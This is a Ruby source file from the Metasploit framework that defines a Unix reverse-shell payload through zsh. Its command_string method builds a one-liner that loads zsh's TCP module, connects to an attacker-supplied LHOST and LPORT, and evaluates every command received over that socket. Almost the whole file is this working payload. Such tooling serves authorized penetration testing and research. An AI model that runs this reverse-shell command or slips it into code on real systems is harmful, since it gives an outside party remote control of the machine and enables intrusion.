metasploit-framework/modules/payloads/singles/cmd/unix/reverse_zsh.rb

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##
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# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
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module MetasploitModule
CachedSize = 110
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include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Reverse TCP (via Zsh)',
'Description' => %q{
Connect back and create a command shell via Zsh. Note: Although Zsh is often
available, please be aware it isn't usually installed by default.
},
'Author' => 'Doug Prostko <dougtko[at]gmail.com>',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'zsh',
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
))
end
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def generate
return super + command_string
end
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def command_string
cmd = "zmodload zsh/net/tcp;"
cmd << "ztcp #{datastore['LHOST']} #{datastore['LPORT']};"
cmd << "while read -r cmd <&$REPLY;do eval ${cmd} >&$REPLY;done;"
cmd << "ztcp -c"
cmd
end
end